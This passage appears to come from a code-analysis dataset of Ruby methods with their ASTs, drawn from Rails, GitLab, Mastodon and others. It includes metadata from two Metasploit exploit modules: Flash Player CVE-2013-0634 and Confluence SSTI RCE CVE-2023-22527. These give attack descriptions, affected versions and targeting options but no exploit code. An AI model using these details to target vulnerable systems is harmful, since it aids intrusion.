ntdll and bypass ASLR.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Unknown', # malware sample\n 'Boris \"dukeBarman\" Ryutin', # msf exploit\n 'juan vazquez' # ActionScript deobfuscation and cleaning\n ],\n 'References' => [\n [ 'CVE', '2013-0634' ],\n [ 'OSVDB', '89936'],\n [ 'BID', '57787'],\n [ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ],\n [ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ],\n [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ],\n [ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ],\n [ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ]\n ],\n 'Payload' => {\n 'Space' => 1024,\n 'DisableNops' => true\n },\n 'DefaultOptions' => {\n 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n 'Retries' => false\n },\n 'Platform' => 'win',\n 'BrowserRequirements' => {\n :source => /script|headers/i,\n :activex => [\n {\n clsid: \"{D27CDB6E-AE6D-11cf-96B8-444553540000}\",\n method: \"LoadMovie\"\n }\n ],\n :os_name => OperatingSystems::Match::WINDOWS,\n :ua_name => Msf::HttpClients::IE,\n :flash => lambda { |ver| ver =~ /^11\\.5/ && ver < '11.5.502.149' }\n },\n 'Targets' => [\n [ 'Automatic', {} ]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => '2013-02-08',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Adobe Flash Player Regular Expression Heap Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a vulnerability found in the ActiveX component of Adobe\\n\"]},{\"type\":\"str\",\"children\":[\" Flash Player before 11.5.502.149. By supplying a specially crafted swf file\\n\"]},{\"type\":\"str\",\"children\":[\" with special regex value, it is possible to trigger a memory corruption, which\\n\"]},{\"type\":\"str\",\"children\":[\" results in remote code execution under the context of the user, as exploited in\\n\"]},{\"type\":\"str\",\"children\":[\" the wild in February 2013. This module has been tested successfully with Adobe\\n\"]},{\"type\":\"str\",\"children\":[\" Flash Player 11.5 before 11.5.502.149 on Windows XP SP3 and Windows 7 SP1 before\\n\"]},{\"type\":\"str\",\"children\":[\" MS13-063, since it takes advantage of a predictable SharedUserData in order to\\n\"]},{\"type\":\"str\",\"children\":[\" leak ntdll and bypass ASLR.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Boris \\\"dukeBarman\\\" Ryutin\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-0634\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"89936\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"57787\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://eromang.zataz.com/tag/cve-2013-0634/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Retries\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BrowserRequirements\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"script|headers\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"activex\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clsid\"]},{\"type\":\"str\",\"children\":[\"{D27CDB6E-AE6D-11cf-96B8-444553540000}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"LoadMovie\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OperatingSystems\"]},\"Match\"]},\"WINDOWS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ua_name\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HttpClients\"]},\"IE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ver\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^11\\\\.5\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ver\"]},\"<\",{\"type\":\"str\",\"children\":[\"11.5.502.149\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-02-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"12365d2b-2740-416c-b72a-8228ad865347"} {"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/parsers/rails3_erubis.rb","start_line":10,"raw_source":"def add_preamble(src)\n @newline_pending = 0\n src << \"_this_is_to_make_yields_syntactally_correct {\"\n src << \"@output_buffer = output_buffer || ActionView::OutputBuffer.new;\"\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_preamble\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@newline_pending\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"str\",\"children\":[\"_this_is_to_make_yields_syntactally_correct {\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"str\",\"children\":[\"@output_buffer = output_buffer || ActionView::OutputBuffer.new;\"]}]}]}]}","id":"d4685d86-f417-4e49-8ca8-790e23dcfba5"} {"repo_name":"reek","file_path":"./repos/reek/lib/reek/rake/task.rb","start_line":100,"raw_source":"def define_task\n desc 'Check for code smells'\n task(name) { run_task }\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"define_task\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"desc\",{\"type\":\"str\",\"children\":[\"Check for code smells\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"task\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_task\"]}]}]}]}","id":"3b202219-33a8-48a0-9d63-26ab8c6239a7"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_bot/playground.rb","start_line":599,"raw_source":"def available_bot_users\n @available_bots ||=\n User.joins(\"INNER JOIN llm_models llm ON llm.user_id = users.id\").where(active: true)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"available_bot_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@available_bots\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"joins\",{\"type\":\"str\",\"children\":[\"INNER JOIN llm_models llm ON llm.user_id = users.id\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"6657f8a2-d769-446b-a2a4-896cae3c5347"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/accounts_controller.rb","start_line":106,"raw_source":"def check_following_self\n render json: { error: I18n.t('accounts.self_follow_error') }, status: 403 if current_user.account.id == @account.id\n end","complexity_score":10.13,"ast_json":"{\"type\":\"def\",\"children\":[\"check_following_self\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"account\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"accounts.self_follow_error\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[403]}]}]}]},null]}]}","id":"d17e3b38-2f21-4d5e-8658-969de91a8393"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/database_configurations/database_config.rb","start_line":21,"raw_source":"def inspect # :nodoc:\n \"#<#{self.class.name} env_name=#{@env_name} name=#{@name} adapter_class=#{adapter_class}>\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" env_name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@env_name\"]}]},{\"type\":\"str\",\"children\":[\" name=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"str\",\"children\":[\" adapter_class=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adapter_class\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}","id":"3ba33fc1-fe13-452c-ad49-5a623f654943"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/spawn_methods.rb","start_line":59,"raw_source":"def except(*skips)\n relation_with values.except(*skips)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"except\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"skips\"]}]},{\"type\":\"send\",\"children\":[null,\"relation_with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"except\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skips\"]}]}]}]}]}","id":"4ad406ec-3cc7-4f78-9ed5-4aa845a1ab37"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240730163326_add_bluesky_to_user_details.rb","start_line":17,"raw_source":"def down\n with_lock_retries do\n remove_column :user_details, :bluesky\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"user_details\"]},{\"type\":\"sym\",\"children\":[\"bluesky\"]}]}]}]}","id":"ecfd2d71-e8ba-4bc6-a444-7de47df0ca0d"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/contact_inbox_with_contact_builder.rb","start_line":71,"raw_source":"def instagram_channel?\n inbox.channel_type == 'Channel::Instagram'\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"instagram_channel?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"channel_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"Channel::Instagram\"]}]}]}","id":"3cb26af8-81d2-4909-aa37-5fecba27f723"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":768,"raw_source":"def test_empty_array_from_xml\n blog_xml = <<-XML\n <blog>\n <posts type=\"array\"></posts>\n </blog>\n XML\n expected_blog_hash = { \"blog\" => { \"posts\" => [] } }\n assert_equal expected_blog_hash, Hash.from_xml(blog_xml)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_empty_array_from_xml\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blog_xml\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" <blog>\\n\"]},{\"type\":\"str\",\"children\":[\" <posts type=\\\"array\\\"></posts>\\n\"]},{\"type\":\"str\",\"children\":[\" </blog>\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_blog_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"blog\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"posts\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_blog_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"from_xml\",{\"type\":\"lvar\",\"children\":[\"blog_xml\"]}]}]}]}]}","id":"d6585d71-045f-48a2-b962-af8011fcf66e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_post_receive.rb","start_line":9,"raw_source":"def initialize(container, identifier, changes, push_options = {}, gitaly_context = {})\n @container = container\n @identifier = identifier\n @changes = parse_changes(changes)\n @push_options = push_options\n @gitaly_context = gitaly_context\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]},{\"type\":\"arg\",\"children\":[\"identifier\"]},{\"type\":\"arg\",\"children\":[\"changes\"]},{\"type\":\"optarg\",\"children\":[\"push_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"gitaly_context\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@container\",{\"type\":\"lvar\",\"children\":[\"container\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@identifier\",{\"type\":\"lvar\",\"children\":[\"identifier\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@changes\",{\"type\":\"send\",\"children\":[null,\"parse_changes\",{\"type\":\"lvar\",\"children\":[\"changes\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@push_options\",{\"type\":\"lvar\",\"children\":[\"push_options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@gitaly_context\",{\"type\":\"lvar\",\"children\":[\"gitaly_context\"]}]}]}]}","id":"6a1d376f-8a22-491d-ab7e-918c90b1bc82"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":180,"raw_source":"def viewer_hunks\n ViewerHunk.init_from_diff_lines(diff_lines_with_match_tail)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"viewer_hunks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ViewerHunk\"]},\"init_from_diff_lines\",{\"type\":\"send\",\"children\":[null,\"diff_lines_with_match_tail\"]}]}]}","id":"a9d63e2b-780c-49bf-92d7-a8e1faff0548"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/tag_manager.rb","start_line":87,"raw_source":"def generate_uri_for(_target)\n URI.join(root_url, 'payloads', SecureRandom.uuid)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_uri_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"root_url\"]},{\"type\":\"str\",\"children\":[\"payloads\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]}]}","id":"54db140e-60a7-4ba0-9789-e067373eb444"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/lib/time_sniffer.rb","start_line":82,"raw_source":"def matcher(name, regex, &blk)\n matchers[name] = { regex: regex, blk: blk }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"matcher\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"regex\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matchers\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regex\"]},{\"type\":\"lvar\",\"children\":[\"regex\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blk\"]},{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}]}","id":"aef44aca-89b8-4910-9e5d-a2ad7cdacc19"} {"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20230725213448_add_image_description_to_preview_cards.rb","start_line":6,"raw_source":"def up\n safety_assured { add_column :preview_cards, :image_description, :string, default: '', null: false }\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"preview_cards\"]},{\"type\":\"sym\",\"children\":[\"image_description\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"04007312-83ec-475b-92e0-f7a4b4059058"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/microsoft_excel/client.rb","start_line":61,"raw_source":"def create_connection(connection_config)\n token = connection_config[:token]\n response = Multiwoven::Integrations::Core::HttpClient.request(\n MS_EXCEL_AUTH_ENDPOINT,\n HTTP_GET,\n headers: auth_headers(token)\n )\n JSON.parse(response.body)[\"id\"]\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Multiwoven\"]},\"Integrations\"]},\"Core\"]},\"HttpClient\"]},\"request\",{\"type\":\"const\",\"children\":[null,\"MS_EXCEL_AUTH_ENDPOINT\"]},{\"type\":\"const\",\"children\":[null,\"HTTP_GET\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"auth_headers\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}","id":"0094dcb7-0fd9-4a32-9d35-69f857b8e10b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22527.rb","start_line":14,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Atlassian Confluence SSTI Injection',\n 'Description' => %q{\n This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses\n the injection to evaluate an OGNL expression resulting in OS command execution.\n Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable.\n },\n 'Author' => [\n 'Rahul Maini', # ProjectDiscovery analysis\n 'Harsh Jaiswal', # ProjectDiscovery analysis\n 'Spencer McIntyre'\n ],\n 'References' => [\n ['CVE', '2023-22527'],\n ['URL', 'https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html'],\n ['URL', 'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/']\n ],\n 'DisclosureDate' => '2024-01-16', # Atlassian advisory released\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux', 'win'],\n 'Arch' => [ARCH_CMD],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => ['unix', 'linux'],\n 'Arch' => ARCH_CMD\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'win',\n 'Arch' => ARCH_CMD,\n 'Payload' => { 'Space' => 8191, 'DisableNops' => true }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'DefaultOptions' => {\n 'RPORT' => 8090\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Atlassian Confluence SSTI Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses\\n\"]},{\"type\":\"str\",\"children\":[\" the injection to evaluate an OGNL expression resulting in OS command execution.\\n\"]},{\"type\":\"str\",\"children\":[\" Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Rahul Maini\"]},{\"type\":\"str\",\"children\":[\"Harsh Jaiswal\"]},{\"type\":\"str\",\"children\":[\"Spencer 